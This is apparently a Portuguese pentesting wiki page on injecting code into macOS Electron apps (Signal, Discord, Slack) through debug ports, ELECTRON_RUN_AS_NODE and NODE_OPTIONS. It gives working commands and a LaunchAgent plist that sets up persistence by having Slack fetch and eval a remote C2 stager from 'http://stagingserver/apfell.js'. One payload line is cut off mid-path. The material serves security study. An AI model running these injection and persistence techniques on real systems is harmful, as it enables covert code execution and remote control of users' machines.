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## Inspecionar Aplicações Electron
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De acordo com [**este**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), se você executar uma aplicação Electron com flags como **`--inspect`**, **`--inspect-brk`** e **`--remote-debugging-port`**, uma **porta de depuração será aberta** para que você possa se conectar a ela (por exemplo, do Chrome em `chrome://inspect`) e você será capaz de **injetar código nela** ou até mesmo lançar novos processos.\
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Por exemplo:
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{% code overflow="wrap" %}
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```bash
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/Applications/Signal.app/Contents/MacOS/Signal --inspect=9229
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# Connect to it using chrome://inspect and execute a calculator with:
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require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
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```
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{% endcode %}
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{% hint style="danger" %}
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Observe que agora a maioria das aplicações Electron ignorará os parâmetros do node (como --inspect) quando iniciados, a menos que a variável de ambiente **`ELECTRON_RUN_AS_NODE`** seja definida.
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No entanto, ainda é possível usar o parâmetro do electron `--remote-debugging-port=9229`, mas a carga útil anterior não funcionará para executar outros processos.
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{% endhint %}
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## `ELECTRON_RUN_AS_NODE` <a href="#electron_run_as_node" id="electron_run_as_node"></a>
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De acordo com [**a documentação**](https://www.electronjs.org/docs/latest/api/environment-variables#electron\_run\_as\_node), se essa variável de ambiente for definida, ela iniciará o processo como um processo Node.js normal.
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{% code overflow="wrap" %}
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```bash
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# Run this
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ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
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# Then from the nodeJS console execute:
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require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
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```
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{% endcode %}
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Como [**proposto aqui**](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks/), você pode abusar dessa variável de ambiente em um plist para manter a persistência:
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```xml
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<?xml version="1.0" encoding="UTF-8"?>
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<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
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<plist version="1.0">
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<dict>
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<key>EnvironmentVariables</key>
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<dict>
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<key>ELECTRON_RUN_AS_NODE</key>
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<string>true</string>
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</dict>
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<key>Label</key>
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<string>com.xpnsec.hideme</string>
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<key>ProgramArguments</key>
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<array>
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<string>/Applications/Slack.app/Contents/MacOS/Slack</string>
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<string>-e</string>
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<string>const { spawn } = require("child_process"); spawn("osascript", ["-l","JavaScript","-e","eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding( $.NSData.dataWithContentsOfURL( $.NSURL.URLWithString('http://stagingserver/apfell.js')), $.NSUTF8StringEncoding)));"]);</string>
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</array>
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<key>RunAtLoad</key>
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<true/>
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</dict>
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</plist>
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```
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### `ELECTRON_RUN_AS_NODE` & `NODE_OPTIONS`  
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Com essa combinação, você pode armazenar o payload em um arquivo diferente e executar esse arquivo:
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{% code overflow="wrap" %}
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```bash
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# Content of /tmp/payload.js
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require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Ca$
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# Execute
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NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
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```
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{% endcode %}
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<details>
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